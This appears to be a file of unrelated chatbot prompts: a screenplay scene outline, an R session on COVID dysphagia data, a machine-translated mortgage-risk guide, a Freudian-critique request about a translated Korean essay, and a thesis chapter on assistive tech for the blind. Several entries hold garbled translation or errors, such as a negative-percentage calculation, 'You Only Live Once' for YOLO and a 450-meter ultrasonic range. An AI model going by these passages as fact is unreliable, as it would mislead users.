foreshadowing supernatural forces here. As Alex walks, we hear the poised voice of a woman speaking in glowing words and platitudes about the profound transformation of Los Padrinos, like she\'s doing PR as she indoctrinates the new inmates.\n\nWe reveal that the voice belongs to the facility director Evelyn Bunker, who watches them intently, a practiced smile playing on her lips. The scene ends with Alex being led through the doors of Los Padrinos, the heavy entrance doors shutting ominously behind her, sealing her fate within the walls of the haunted juvenile hall."\n7,INT. LOS PADRINOS INTAKE HALL - DAY,"Alex makes her way through the intake hall, taking in the tense atmosphere and connecting with potential ally Carlos, as she braces herself for the challenges ahead.","Alex is escorted into the intake hall, where the atmosphere is tense despite the walls being adorned with modern, overly-positive youth culture murals, attempting to instill hope and encouragement but inadvertently creating an oppressive environment. As Alex is led through the hall, she takes note of the other detainees, who watch her arrival with curiosity and wariness.\n\nOne of the detainees, Carlos, makes eye contact with Alex, with a hint of suspicion in his eyes, unsure of her intentions. She nods back, sensing in him a potential ally. During this exchange, a staff member named Mr. Adams stands near Carlos, watching Alex closely. He\'s a fatherly figure who supports Carlos, showing genuine concern for his well-being.\n\nAs Alex is led to a processing area, she passes by a bulletin board displaying various facility-related information. A photo briefly catches her eye, but before she can make it out, she\'s ushered on toward the processing area. The scene ends as Alex takes a deep breath and steels herself for the challenges ahead."\n8,INT. ALEX\'S CELL - DAY,Alex meets her cellmates and begins to settle into her new surroundings at Los Padrinos Juvenile Hall.,"Alex is brought to her cell, where she meets her three cellmates: Heather, Pretzel, and Jasmine. Each girl reacts to her arrival differently; Heather is standoffish and suspicious, Pretzel appears indifferent, while Jasmine offers a tentative but genuine smile.\n\nThe cell itself is small and cramped, with each girl trying to make the space their own with personal touches like photos, drawings, and trinkets. As Alex sets up her bunk, she notices a small, worn book on the top shelf, which she later discovers holds a powerful personal connection.\n\nWhile the girls engage in guarded conversation, Alex can\'t help but feel a growing sense of unease, as if the walls of the cell hold secrets they\'re not yet ready to reveal. The scene ends with Alex lying on her bunk, staring at the ceiling, deep in thought."' -'> # Import Data -------------------------------------------------------------\n> Covid <- read.csv("~/Residency/PMR Specific/Research/COVID and Dysphagia/Data\\_Analytics/data/Adapted Data/Covid\\_Dysphagia\\_Adapted\\_Data.csv")\n> \n> # Library -----------------------------------------------------------------\n> library(data.table);library(readr)\ndata.table 1.14.6 using 10 threads (see ?getDTthreads). Latest news: r-datatable.com\n> library(haven);library(stringr)\n> library(epitools);library(multcomp)\nLoading required package: mvtnorm\nLoading required package: survival\n\nAttaching package: ‘survival’\n\nThe following object is masked from ‘package:epitools’:\n\n ratetable\n\nLoading required package: TH.data\nLoading required package: MASS\n\nAttaching package: ‘TH.data’\n\nThe following object is masked from ‘package:MASS’:\n\n geyser\n\n> library(dplyr); library(DataCombine)\n\nAttaching package: ‘dplyr’\n\nThe following object is masked from ‘package:MASS’:\n\n select\n\nThe following objects are masked from ‘package:data.table’:\n\n between, first, last\n\nThe following objects are masked from ‘package:stats’:\n\n filter, lag\n\nThe following objects are masked from ‘package:base’:\n\n intersect, setdiff, setequal, union\nAttaching package: ‘DataCombine’\n\nThe following object is masked from ‘package:data.table’:\n\n shift\n\n> library(berryFunctions);library(ggplot2)\n\nAttaching package: ‘berryFunctions’\n\nThe following object is masked from ‘package:dplyr’:\n\n between\n\nThe following object is masked from ‘package:data.table’:\n\n between\n\n> \n> #Dysphagia and no dysphagia groups\n> Dysphagia <- subset(Covid, DysphagiaYN==1)\n> NoDysphagia <- subset(Covid, DysphagiaYN==0)\n> \n> #Mark\n> Covid$Mark <- 1\n> \n> # Intro Descriptive Analysis ----------------------------------------------\n> length(unique(Covid$ID)) #No repeats or redmissions\n[1] 346\n> \n> #Age\n> summary(Covid$Age, na.rm = TRUE); sd(Covid$Age, na.rm = TRUE)\n Min. 1st Qu. Median Mean 3rd Qu. Max. NA\'s \n 20.00 55.00 65.00 63.86 74.00 97.00 2 \n[1] 13.71073\n> summary(NoDysphagia$Age, na.rm = TRUE); sd(NoDysphagia$Age, na.rm = TRUE)\n Min. 1st Qu. Median Mean 3rd Qu. Max. NA\'s \n 20.00 54.00 64.00 63.10 73.75 96.00 2 \n[1] 13.87471\n> summary(Dysphagia$Age, na.rm = TRUE); sd(Dysphagia$Age, na.rm = TRUE)\n Min. 1st Qu. Median Mean 3rd Qu. Max. \n 23.00 56.25 67.00 65.07 75.50 97.00 \n[1] 13.4126\n> \n> #Sex\n> mean(Covid$Sex, na.rm = TRUE)\\*100\n[1] 66.56977\n> 1-mean(Covid$Sex, na.rm = TRUE)\\*100\n[1] -65.56977\n> mean(NoDysphagia$Sex, na.rm = TRUE)\\*100\n[1] 67.61905\n> 1-mean(NoDysphagia$Sex, na.rm = TRUE)\\*100\n[1] -66.61905\n> mean(Dysphagia$Sex, na.rm = TRUE)\\*100\n[1] 64.92537\n> 1-mean(Dysphagia$Sex, na.rm = TRUE)\\*100\n[1] -63.92537\n> \n> #Prevelance of dysphagia\n> mean(Dysphagia$DysphagiaYN, na.rm = TRUE)\n[1] 1\n> mean(NoDysphagia$DysphagiaYN, na.rm = TRUE)\n[1] 0\n> \n> #Length of stay\n> mean(Dysphagia$AC\\_LOS, na.rm = TRUE)\n[1] 31.23214\n> mean(NoDysphagia$AC\\_LOS, na.rm = TRUE)\n[1] 20.26667\n> \n> #Dysphagia at DC, resolution\n> mean(Dysphagia$DysphagiaDCYN, na.rm = TRUE)\n[1] 0.4029851\n> mean(NoDysphagia$DysphagiaDCYN, na.rm = TRUE)\n[1] 0.1037736\n> \n> #Intubation\n> mean(Dysphagia$O2\\_AC\\_IntubYN, na.rm = TRUE)\n[1] 0.7846154\n> mean(NoDysphagia$O2\\_AC\\_IntubYN, na.rm = TRUE)\n[1] 0.5698925\n> \n> #BMI\n> mean(Dysphagia$BMI, na.rm = TRUE)\n[1] 29.91071\n> mean(NoDysphagia$BMI, na.rm = TRUE)\n[1] 32.2\n> \n> # Table 1 - Intubation -----------------------------------------------------------------\n> #Cont/Binary/Categorical\n> a <- list("Age","BMI"); b <- list("Sex","HTN","DM","HLD","CAD","CKD","CA","Alcohol")\n> c <- list("Race","Smoker")\n> \n> #Cont\n> d <- aggregate(Covid[,c(unlist(a))], list(Covid$DysphagiaYN), mean, na.rm=TRUE); d <- round(d,1)\n> e <- aggregate(Covid[,c(unlist(a))], list(Covid$DysphagiaYN), sd, na.rm=TRUE); e <- round(e,1)\n> f <- cbind(data.frame(unlist(a)), paste(d[1,2:3],"±",e[1,2:3],sep=""),paste(d[2,2:3],"±",e[2,2:3],sep=""))\n> colnames(f)= c("Variable","No\\_Dysphagia","Dysphagia")\n> \n> #All\n> d <- aggregate(Covid[,c(unlist(a))], list(Covid$Mark), mean, na.rm=TRUE); d <- round(d,1)\n> e <- aggregate(Covid[,c(unlist(a))], list(Covid$Mark), sd, na.rm=TRUE); e <- round(e,1)\n> f <- cbind(f,paste(d[1,2],"±",e[1,2],sep=""))\n> colnames(f)= c("Variable","No\\_Dysphagia","Dysphagia","All")\n> \n> #Binary\n> d <- aggregate(Covid[,c(unlist(b))], list(Covid$DysphagiaYN), mean, na.rm=TRUE)\n> d <- rbind(d, aggregate(Covid[,c(unlist(b))], list(Covid$Mark), mean, na.rm=TRUE)); d <- d[,-1]\\*100; d <- round(d,1)\n> d <- data.frame(rownames(t(d)),t(d)); colnames(d)=colnames(f); f <- rbind(f, d)\n> \n> #Categorical\n> #No Dysphagia\n> Work <- NoDysphagia; Work$Race <- replace(Work$Race, is.na(Work$Race), 0)\n> for (i in 1:length(c)){\n+ d <- round(data.frame(Work %>% count(Work[,unlist(c[i])], Work[,unlist(c[i])]))[-1]/length(subset(Work[,unlist(c[i])], !is.na(Work[,unlist(c[i])])))\\*100, 1)\n+ d <- data.frame(paste(rep(unlist(c[i]),length(levels(as.factor(Work[,unlist(c[i])])))), levels(as.factor(Work[,unlist(c[i])])), sep=""),d[,1])\n+ ifelse(exists("g"),g <- rbind(g,d),g <- d)\n+ }\nError in data.frame(paste(rep(unlist(c[i]), length(levels(as.factor(Work[, : \n arguments imply differing number of rows: 3, 4' -":You have summarized this article\nThe complete guide to risk management in your mortgage.\n \n\nHer mortgage is a financial product in a changing market.\n\nWhat do you mean?\n\nHer residence is built of tracks. Each track is built from financial components such as interest, the consumer price index, bond derivatives, financial instruments such as a short-term lender and more.\n\nAll these elements are constantly changing as a result of macroeconomic changes, demands of the banks and expectations in the local and global capital market.\n\nWhen these things change, there is an impact on our mortgage and in this article I will guide you how to manage all the risks you have in your mortgage so that you never face challenges ranging from monthly financial pressure to forced eviction of your property.\n\n \n\nI'm writing you the guide because her mortgage, unlike the loans we take from credit companies or from our private bank account, involves hundreds of thousands of shekels for decades.\n\nWhen it comes to such sums for such periods, there are many risks and we will start detailing them one by one.\n\n \n\nFinancial risk of losing a large part of the equity-\n\nYou have decided to buy a house. Mazel Tov! The property you decided on costs a million NIS and you have 250,000 NIS equity. You did your tests, you signed the contract but your equity is sitting in the stock market and there is still a month until it needs to be transferred to the seller and you think: maybe we should leave it invested so that we don't miss gains in the stock market and lose money....\n\nRemember, as soon as you bought a property and signed a contract, you entered into a contractual obligation. At this moment, your equity is part of the deal and therefore, if your money is sitting in an investment account, just remember that the capital market can, sometimes, drop very sharply and it doesn't inform you beforehand and moreover, it usually takes a long time to rise back up.\n\nThis is of course not a recommendation of what to do or not to do, these are just a warning light for you of this risk that exists.\n\n \n\nRisk of additional costs around her mortgage -\n\nMany people do not understand that buying a property has many additional costs.\n\nCost of a broker, lawyer, mortgage consultant, purchase tax, moving expenses, etc.\n\nWhat happens is that people do not take this into account and then at the end of the process realize that they lack significant money.\n\nThey obtain the same money in an external loan for her mortgage where the monthly repayment is high.\n\nThis is exactly how people get into a financial spiral: beyond the commitment of the monthly repayment, they add a few hundred or thousands of shekels to the monthly commitment.\n\nYou have decided to purchase a property, stop and examine your budget in depth. Take into account all the additional costs that can reach hundreds of thousands of shekels and this is no joke.\n\n \n\nRisk of low ratings-\n\nBefore you receive money from the mortgage bank, the bank will ask you to bring an appraiser's opinion on the value of the property.\n\nSo where is the risk here? Let's see an example:\n\nYou buy a property for a million NIS and all you have in equity is 250,000 NIS in equity. Even if you transform yourselves and your families you will have no more money.\n\nThis is your first apartment, so the bank will be ready to give you 75% financing, which means that this NIS 250,000 is enough for you.\n\nWhat you must know is that the bank will give you 75% financing from the value of the contract or from the appraisals - whichever is lower.\n\nIn the same example, the appraiser comes and says that the property is worth 900,000 NIS and not a million.\n\nAt this stage, the bank will give you 75% of NIS 900,000 which is NIS 675,000 and you will be short of NIS 75,000 that you have nowhere to get them from.\n\nSo the risk here is for those who buy an apartment and their equity is limited and in that case, it is probably worth getting an appraisal in advance.\n\n \n\nRisk of not getting her mortgage as a result of incorrect submission -\n\nThe process to purchase a property with the help of a mortgage begins with approval in principle from the bank. That is, the bank gives you approval in principle based on what you fill out online or tell it on the phone. What this means is that, in principle, based on the data you provided, you receive approval.\n\nNow, before the bank transfers money to you, it will check as carefully as possible that it has all the details you provided. If you have not provided absolutely true data, the bank is entitled, even though you already have approval in principle and have signed a contract, not to approve the mortgage for you.\n\nIn the bottom line, you have to tell the bank the truth and at the same time tell it what it needs to know and nothing more.\n\n \n\nThe risk of losing tens and hundreds of thousands of shekels -\n\nThe banks that give us mortgages are business entities. They make money when they sell us money.\n\nThey buy the money cheaply (mainly from us - checking, deposits with zero yield) and sell this money to us at a high price in the form of loans and mortgages.\n\nThe bigger the loan, the more profit the bank can make and in the case of her mortgage it is clear what is happening.\n\nSo how do you not lose tens and hundreds of thousands of shekels on your mortgage -\n\nYou learn and understand everything you need to know in order to compare your knowledge with that of the banks.\n\nIt's either do it or take private mortgage advice. There is no other way to not lose money.\n\nUnderstand, the banks do the act of giving a mortgage every day and many times in the same day. They have systems that show them how much profitability there is on each track and they know how to build you the best mortgage... for the bank.\n\nYou must take responsibility here and know how to build a neighborhood that will be the best for you and only you.\n\nOnly in this way will you manage not to lose tens and hundreds of thousands of shekels.\n\n \n\nGet under financial pressure every month because the monthly repayment increases-\n\nThe monthly repayment of your mortgage can and will probably increase along the way.\n\nThe only option that it won't increase is if you take all of your mortgage on a fixed interest rate route and not linked to the index and you don't divide the mix into additional routes, which is probably not smart at all, but stable.\n\nLet's understand what can cause your monthly repayment to climb over the years-\n\nThe prime track - the prime track is built from the Bank of Israel interest rate and another one and a half percent. For the purpose of the example, the Bank of Israel interest rate is 0.5%, so the prime will be 2%.\n\nThe Bank of Israel interest rate can change as of today (2022) eight times a year. That is, the prime route has the potential to change 8 times a year.\n\nEvery time the banks of Israel raise the interest rate, your prime route will be automatically updated and your monthly repayment will increase.\n\nHow much will he grow? You should check this before you take the mortgage in the following way:\n\nOpen a mortgage calculator and enter in it the amount you take in the prime route, for how many years, at what interest rate and see how much you pay back per month.\n\nNow, go to the interest cell and increase it by a whole percentage. When you do this, the monthly repayment will go up.\n\nThe amount of the increase is what should interest you and the question you need to ask yourself is whether you will be able to meet the monthly repayment if the interest rate increases by 3%.\n\n \n\nAny route that is close to the consumer price index has a risk of increasing your monthly return and let's explain why-\n\nThe consumer price index is published every month and shows whether the prices of a basket of products have risen or fallen. The goal of the Bank of Israel is for the index to rise between one percent and three percent per year every year.\n\nLet's illustrate the issue with an example:\n\nTo take a million shekels from her mortgage at a fixed interest rate with the loan principal linked to the consumer price index for a period of twenty years. Your monthly repayment is about NIS 5,200.\n\n \n\nThe mechanism of linking to the index works as follows-\n\nEach month you take the index increase (or decrease) and multiply it by the mortgage amount you have left to pay. The result is increased (or reduced) from the loan fund.\n\nIn our example, if the index rose by one percent, then you take the million you took from the bank and multiply by the percentage and add the result to the million you took.\n\nYes, you took a million, you haven't done anything yet, only the index went up and you owe the bank one million and ten thousand NIS.\n\nBesides that it really sucks, the risk is a continuous increase in the monthly repayment because you will pay back the money you took in twenty years anyway. Now you have to repay more money at the same time and therefore the monthly repayment climbs.\n\n \n\nTracks change every two, five or any other frequency, contiguous or non-contiguous -\n\nWith her mortgage, you can take routes with a fixed or variable interest rate\n\nAccording to what we have learned so far, the safest and most stable but also the most expensive route is a route with a fixed and non-linked interest rate. After that, there is a route with a fixed interest rate and linked to the index, and you already understand this risk.\n\nOf course, there is the prime course which has the potential for a significant change and now we will talk about courses with variable interest rates, the most famous of which changes every five years.\n\nIn this route you can choose between a variable interest rate not linked to the index and a variable interest rate linked to the index.\n\nIn this route the interest is fixed for a period of 5 years and at the end of the five years it changes.\n\n \n\nAccording to what does it change?\n\nAccording to a fixed and clear mechanism that the bank has no control over. This mechanism is called the bond anchor. That is, when the bank quotes you the interest rate on the variable every five years, then it consists of an anchor and a margin. The anchor is external to the bank and is related to the yields of government bonds, while the margin is actually how much the bank wants to earn above the anchor.\n\nFor the purpose of the example: take a course that changes every five years linked to the consumer price index. The interest the bank gave you is 2.5%. The anchor today is 0% and for you the margin is 2.5%.\n\n5 years have passed and the change station has arrived.\n\nAll the bank does is go to the bond anchor and figure out how much it stands at now. If the anchor now stands at 2%, then the interest you will receive and will lock in for the next five years is 4.5%, which is made up of the margin you received and will always remain with you (2.5%) plus the current anchor.\n\nSo here there is a risk of an increase in the monthly repayment and if you take a variable interest rate every five years which is close to the dimension of the risk of a significantly higher repayment increase.\n\n \n\n \n\nNot meeting her mortgage repayments-\n\nWhen you take a mortgage, you have a big responsibility and it is to pay for it every month. It sounds obvious but life goes on and sometimes you don't pay attention and there is not enough money at the time of the charge and the mortgage comes back. This is an unnecessary risk that can harm your personal credit rating and your ability to improve your mortgage or refinance it to another bank.\n\nYou took out her mortgage, notice that there is money in the account for the monthly repayment.\n\nIn cases where there really is no money (and unfortunately there are such cases) then don't wait for her mortgage to be returned to you, rather be proactive and go to the bank to find one-off solutions such as freezing her mortgage until things work out. Don't give the bank a chance to get their hands on your house.\n\n \n\nEarly repayment fees-\n\nLook, when you take out a mortgage and you want to pay off parts of it, you are exposed to early repayment fees.\n\nThe high fees are mainly found in the fixed routes for long periods.\n\nDo you know that you are going to or need to pay off part of her mortgage in the coming years? Work smart! Build a mix that suits your needs and make sure you are not exposed to such fees more than you have to.\n\n \n\n \n\nHer mortgage insurance-\n\nHere, unfortunately, I have a very difficult experience and I am glad that I have the opportunity to tell you about it so that it will not happen to you.\n\nYou bought a house from a contractor/second hand! Mazel Tov. The critical time is between signing your contract and taking the mortgage.\n\nFor example: you purchased a property for two million shekels. You signed the contract and transferred half a million to the sellers. From that point you are in a situation of contractual obligation.\n\nIn the media and (tap tap tap tap) it calls a catastrophe between the signing and taking the mortgage will be a big problem.\n\nThe problem will start with the fact that it is not certain that they will let only one of the spouses take her mortgage alone, and if so then it will be very, very problematic.\n\nSo pay close attention to this issue please and don't play with it.\n\n \n\nDo not check cycle option-\n\nAnother very significant risk is to bury your head in the sand after receiving your mortgage.\n\nRemember, we started by saying that your mortgage is a financial product in a changing market. Sometimes the market changes in our favor and not taking advantage of these changes by partially or fully refinancing the mortgage is a risk no less small than any other risk.\n\nSo when should you check the feasibility of a cycle?\n\nThe answer is clear: every time your abilities, your needs and the market conditions have changed in your favor then it is worth checking.\n\n \n\nThat's it, that's all the many risks there are in her mortgage.\n\n \n\nI really hope that the guide will help you not to make mistakes and remember, Mishnetha? Firm!\n\nPrivate consultation with the power of a network!\n\n \n\nThe national network for mortgage advice." -'! Keep your character. \nCriticize the literature below in Freud\'s way.\n---\nTitle : Gray grapes and lemon gas lamps - Jeon Hye-rin\n\n \n\nMain Text :\n\nThe first time I stepped on German soil was in deep autumn. The sky was gray and opaque and thick. The air was full of water that would haunt me for years to come, heavy and snappy. Women in scarves and men in leather coats stood out.\n\n \n\nWhen I got off at Riem, an empty airfield in Munich, I was so overwhelmed that I wanted to cry and most of all, my heart was pressed by the cold and dark weather.\n\n \n\nWhen it comes to Munich, I think my hair has since been filled with gray and fog because of the first impression of the afternoon I got off at Air France and my uncontrollable loneliness rather than his unique bad weather.\n\n \n\nGetting on the bus to the airport with the trunk, paying all the money to the driver, making him take only one mark of it, and going to the boarding house alone without strength, I really felt sad as if I had become a horseman in Paris.\n\n \n\nFirst of all, I had to go to the school secretariat called Asta, which I had contacted from my home country, and find a poster on the wall. It was to see the advertisement for \'Zimmerfrei\'. They\'re all more expensive than I thought. It was far from school again. And Munich seemed to me like a labyrinth itself and I didn\'t have the confidence to go and live more than five minutes away from school.\n\n \n\nAmong them, I only found an advertisement with a twisted pencil that said, "There is an empty room, electricity, 5 minutes walk from school, 50 marks monthly rent." The house really stood in a vast park called the British Park, about five minutes from school. It was a horribly old gray four-story building standing right behind the lake in the park. The first impression was not pleasant because it reminded me of Poe\'s Usher family. But what else is there? Most of the other vacancies were Norfur American or extremely expensive…….\n\n \n\nI forced myself to go to the closed door and ring the doorbell. An extremely obese short-haired grandmother, who is about 60, came out. He was short and shabby in his clothes. I wanted to say, "I want to rent a room," but I think I asked, "Can I rent a room?" The grandmother\'s expression was surprisingly sweet and showed a smile that could be described as savory around her mouth. "Have you seen the school advertisement?" I think the grandmother said something again. I couldn\'t understand it, but it sounded innocuous. "Can I see the room?" he asked. "Yes, yes, please come in."\n\n \n\nRoom, it\'s my room. I followed the old lady through the long corridor. Nangha was dark, and there were many rooms, and each room had a small name. At the end, the grandmother stopped and took a bunch of keys out of her pocket.\n\n \n\n"The person who lived here went back to his country two days ago. He was a Persian."\n\n \n\nThe key was turned and the door opened. I hesitated to go in after my grandmother.\n\n \n\nThe room was as dark as the floor, but surprisingly clean. A large green pottery stove stood in a corner, with a pedestal with electric furnaces and a bed covered with white mattresses and blankets. And there was a comma with a gyeongdae and a cupboard. Two windows were made of grapes opposite to the English park, and the double windows were covered with double curtains.\n\n \n\n\'Would you like to?\' asked the grandmother.\n\n \n\n"Yes."\n\n \n\n"You have to pay the rent a month in advance."\n\n \n\nAfter my grandmother left, I opened the shutters and opened the windows wide. The narrow stone-wrapped alley was completely covered with gray fog and the water flowed into the room moistly. I was looking out the window forever. This was the oldest area in Munich with few people passing by, and it seemed to be a village living under the selfishness of civilization as it was in the 1920s when it was not bombed.\n\n \n\nI put the trunk under the bed and lay on the bed. But I couldn\'t sleep even though I was tired. I locked the door with the key and went out into the street. At that time, it was time to turn on the gas light (I think it was around 5 o\'clock), so a uniformed grandfather was riding a bicycle and using a long stick to turn on the gas light, which was the old style standing on both sides of the narrow stone road. I still cannot forget the scene where the lights were lit one by one in the thicker fog and dimmer search. The lemon-colored light that shone lightly through the dark gray veil remains in my heart forever. If I miss Gurapa, it\'s because of fog and gas lights.\n\n \n\nThe next morning I went to a nearby \'life essentials store\' and bought two loaves of bread and a bucket of margarine. I put the kettle on the electric furnace and ate bread.\n\n \n\nThe start of school was still a month away. I originally didn\'t like to go around or walk, and I was even more scared abroad. However, during the day, I made up my mind (in fact, I was hungry because I couldn\'t eat a decent meal since I arrived), and entered a restaurant called Zerrooje, which was right nearby. I looked at the menu, but I didn\'t see much of it. But I thought I knew that it was a sweet pig cutlet, so I ordered it. However, what Huro Elaine (the employee) brought was not a cutlet of our concept, but just boiled pork in a large lump. It looks like that\'s how you actually cooks. I sat helplessly in front of the food I didn\'t want to eat. I didn\'t understand the meaning of the question, "What would you like to drink?" and just smiled, and he was bringing beer into a small cup. I was just sitting quietly. I feel like I\'m going to burst into tears when I talk...….\n\n \n\nAt that time, several teenagers came in and approached the jukebox and seemed to pick the board. One of them glanced at me and pressed something. After that, unexpectedly, a Japanese song leaked out, and I was watching it in amazement, and one of them was telling me as if one of them was Japanisches Abschiedsleid. They probably didn\'t think I was Japanese. At that time, there were few Koreans in Munich, and moreover, there were no women even when they tried to look around, so they probably guessed so. I sat silently, just smiling, too. But somehow I felt less sad and less alone.\n\n \n\nAfter that, I often visited the house in the afternoon or evening. It was because the distance was close to my room and I knew that the food was cheaper than other places. Furoiline was kind, too. He always showed me kindness without saying a word and brought me a weekly magazine to my table.\n\n \n\nIn the meantime, I also found out that this restaurant was not just a restaurant, but a gathering place for artists. I also learned that there is Poet Night on Thursday and Painter Night on Tuesday. I learned that photographs, letters, and chalk signs clung to one wall of the house were the work of prominent writers, painters, and cartoonists, such as Ludwig Toma, Ringelnatz, Kastner, and Siegfried Sommer, and that the house was once the center of the anti-Nazi movement.\n\n \n\nFor the first time in this house, I knew the existence of a female poet named Japanese Aihinga along with her unusual appearance and attractive long black hair.\n\n \n\nAutumn is deepening.\n\n \n\nAfter the lecture, I went to a nearby coffee shop with my classmates (Austrian girls or French students) and learned how to make lunch with a cup of cream coffee. The state library was as bright as inside his house, and he knew all the old bookstores in downtown Munich. I became close to the owner of the used bookstore and heard about Lee Mi-reuk. I got used to buying about 50 pennies of roasted chestnuts sold in front of the main gate of the school and eating them in the classroom.\n\n \n\nBut my mind was very empty. I didn\'t know the fact that I couldn\'t run or walk to my home country would open up such a scary abyss in my mind.\n\n \n\nBreathing in the thick fog, I missed the blue sky. I drew persimmon trees and jujube trees in my dream. As a matter of fact, what I missed may have been a yellow shadow. It wasn\'t some sentimental or aesthetic smoldering. It was such a desperate vision that the vision of a colored nation, their tragedy embedded in me and that I am considered here as their representative. It is safe to say that it was an uncontrollable fear. In the classroom, the professor\'s dialect, the obscurity of pronunciation by old age, and the vision of Italian rice in cellophane displayed in the daily necessities store followed me.\n\n \n\nThe Leopold barrel from the University of Munich to my boarding house was lined with huge, upright poplar trees. Autumn was the most beautiful when the road began to be thick with all kinds of leaves of light. There was a \'glass zoo\' on the street that looked like a small fishbowl. All kinds of tiny beasts, ceramics, ballerinas, wonderful elaborate with glass...… It was like a country in Andersen fairy tales. Every day I would look in the display case for more than five minutes every time I walked in front of it. They were animals that I wanted to have and caress.\n\n \n\nBehind the store was a house called Noah Noah, which collapsed. It was a gathering place for Dadaists, and there were always strange and bizarre paintings attached. It also seemed to be a salon where painters talked with their beards hanging down. Sometimes Erica\'s own readings seemed to be held.\n\n \n\nAround that time I found a restaurant cheaper than Zerrooje.\n\n \n\nIt was a stand-up restaurant. It was a sausage restaurant where white sausages were grilled over a fire and mustard was applied. On top of that, even if I ate a sour cucumber and a cup of lemonade, it was not worth a mark, so I tried to make it cheap, but it was delicious to be dragged in just by the smell.\n\n \n\nEating simply and quickly……. And I walked around. The alley between school and my room, the alley, and the English park...… This was my mountain range.\n\n \n\nOne day I watched the last swan float until late in the evening. In the dim light, white clumps gathered here and there, and sometimes rustled. He looked very lonely.\n\n \n\nI may have felt the same way I felt.' -"Please provide me with the relevant information that needed to be address during a presentation of this chapter\n\n2.3. Previous work of Visual Assistive Technology\n2.3.1. Head wear\n2.3.1.1. Wearable Travel Aid for Environment Perception and Navigation of Visually Impaired People\n For this project, a consumer Red, Green, Blue, and Depth (RGB-D) camera was attached to a pair of eyeglasses, along with an inertial measurement unit (IMU) attached to a camera, a smartphone, and an earphone for commands/feedback. The system is operable in both indoor and outdoor settings. Due to their ample information, lightweight nature, and low cost compared to other sensors, such as ultrasonic and LiDAR sensors, computer vision technologies were integrated into this device's routing and detection capabilities. The smartphone does the process of detecting and routing, and the feedback is sent to the user's ear through an earphone plugged into the smartphone (Bai et al., 2019).\nLimitation:\n• Weak in detecting small-size obstacle\n• Staircase detection is not implemented\u2003\n2.3.1.2. Let Blind People See: Real-Time Visual Recognition with Results Converted to 3D Audio\n Jiang et al. (2016) created a system that took video input from a portable camera. They streamed it to a server for real-time image recognition processing using the You Only Live Once (YOLO) model. The 3D location of the discovered object is derived by using the location and size of the object detection algorithm's bounding boxes. The Unity game engine will send it as 3D audio into their attached wireless earphones. The next sound output interval will be in a few seconds or when a different object is detected, whichever occurs first. The solution could conduct precise real-time objective detection with a live stream at a pace of 30 frames per second in 1080p resolution by utilising the YOLO algorithm and an enhanced wireless transmitter. Figure 4 shows the data flow pipeline of the paper’s system. The video footage is captured and sent to the YOLO algorithm for detecting object. The detected object is then send to the earbuds using the unity engine. Figure 5 shows the prototype of the device of this paper.\nLimitation:\n• Can only accurately detect and classify object within 2 to 5 meters away\n• Surrounding ambient will be block when using earbuds\n• Too much information will be sent to user when camera detect multiple objects\n2.3.2. Smart Cane\n2.3.2.1. Smart Electronic Stick for Visually Impaired using Android Application and Google’s Cloud Vision\n The e-stick module, integrated with a voice-controlled Android application, was designed by Bharatia et al. (2019) to replace the essential simple navigation stick that visually impaired individuals typically use. The e-stick is similar to a standard stick in that it is thin, lightweight, and easy to handle, but it has additional features. Using efficient natural language processing (NLP) features makes these functionalities affordable and possible. The e-stick uses ultrasonic sensors to find low-lying and knee-level obstacles and potholes when moving backwards. Using buzzers, active input on the presence of barriers will be delivered. For Global Positioning System (GPS) navigation to function, the user's phone will be Bluetooth-connected to the stick's circuit. In unavoidable circumstances, the live location of visually impaired individuals will be transmitted to the nearest help centre or their family for assistance. Face detection will be added so that users can tell who is trying to talk to them. With the cloud vision API, it is also possible to translate traffic lights and roadside signs so that blind people can find their way. Text recognition will also be available from photos, making it easy for people to read books, documents, newspapers, and other printed materials. A stick-tracking device has also been built in case the person loses his or her stick. These capabilities will be enabled through hardware (smart stick) and a software module (an Android application). Using Natural Language Processing technology, the user will tell these modules what to do by using voice commands. The e-stick will be charged as needed using a rechargeable circuit. Figure 6 shows how the technologies used in this paper interact.\nLimitation:\n• Coverage of obstacle detection is short as it is using sensor\n• Only suitable for indoor\n2.3.2.2. WeWalk\n WeWalk is a smart cane developed by a non-profit organisation called YGA (WeWALK Smart Cane – Smart Cane for the Visually Impaired, 2020). WeWalk looks like a traditional-looking cane, but the handle has a built-in touchpad. Users can navigate, save and discover places using the cane via the respected application. Particular layers are built into the mapping services for more accessible navigation. Users can choose to use the built-in speaker or Bluetooth for voice feedback. Users can also pair their phone with the intelligent cane via Bluetooth to control their phone. The above-ground The built-in ultrasound sensor detects an above-ground obstacle. The detected obstacle is projected back to the user in the form of vibration or audio, depending on the user’s preferences. Wewalk also has an application where users can view their transit options, such as nearby bus stops and the timetable, and then navigate them to the desired stop. The application also has a built-in voice assistant for more straightforward navigation through the application. If a user loses their phone or cane, they can play a sound on each of them to locate the position of the lost device. Figure 7 shows the WeWalk Smart Cane that is currently on the market.\nLimitation:\n• The device is very expansive, with the price of 500 USD\n• Rain or snow might cause malfunction on the smart cane and the speaker\n• The tip of the cane is loud when navigating rough surface sidewalk\n2.3.2.3. Development of an Intelligent Cane for Visually Impaired Human Subjects\n Asati et al., (2019) designed an intelligent white cane that uses HR-SO4 ultrasonic sensors to identify obstacles within a range of 450 meters and determine the distance. The object above head level will also be detected, as the sensors' range is 450 meters. The warning signal is returned in beeping signals via a buzzer, advising the user to take prompt action. Object detection and classification are done utilizing the intelligent technique. The photos are recorded using the web camera for classification. They will be transformed into text and an audio signal for text-to-speech conversion. Figure 8 shows the prototype of this paper's intelligent cane.\nLimitation:\n• Cost of building the system is high\n• Unable to identify pot holes\n• Detection under rainy weather is not tested\n\u2003\n2.3.3. Handheld\n2.3.3.1. Android Application for Object Recognition Using Neural Networks for the Visually Impaired\n Dosi et al. (2018) have developed an Android application that aids the visually impaired with real-time object recognition using the phone's camera and provides feedback by speaking the recognised object. They opted for a deep learning strategy based on a convolutional neural network for improved recognition and faster response times. MobileNets is utilised because it is ideal for mobile and embedded vision applications. Figure 9 shows the results of the detected object using the object recognition application.\nLimitation:\n• Only works offline\n• Unknown or untrained objects will be predicted using existing images in the database\n• Have to retrain model for untrained object\n2.3.3.2. Design and Implementation of an Embedded Real-Time System for Guiding Visually Impaired Individuals\n Duman et al. (2019) have developed and implemented a portable gadget that detects objects and measures their distance precisely to enable visually impaired individuals to see objects and people around them. The device uses YOLO, a convolutional neural network-based real-time identification method with a single device attached to a Raspberry Pi board. The estimated object distance will be projected in audio form to visually challenged users. The accuracy of this detected distance estimation is 98.8%. Initially, the footage is captured using a handheld Raspberry Pi camera. Afterwards, the object detection module executes YOLO for real-time object recognition, and bounding box size extraction for humans is needed. The size of the bounding box is provided to the distance 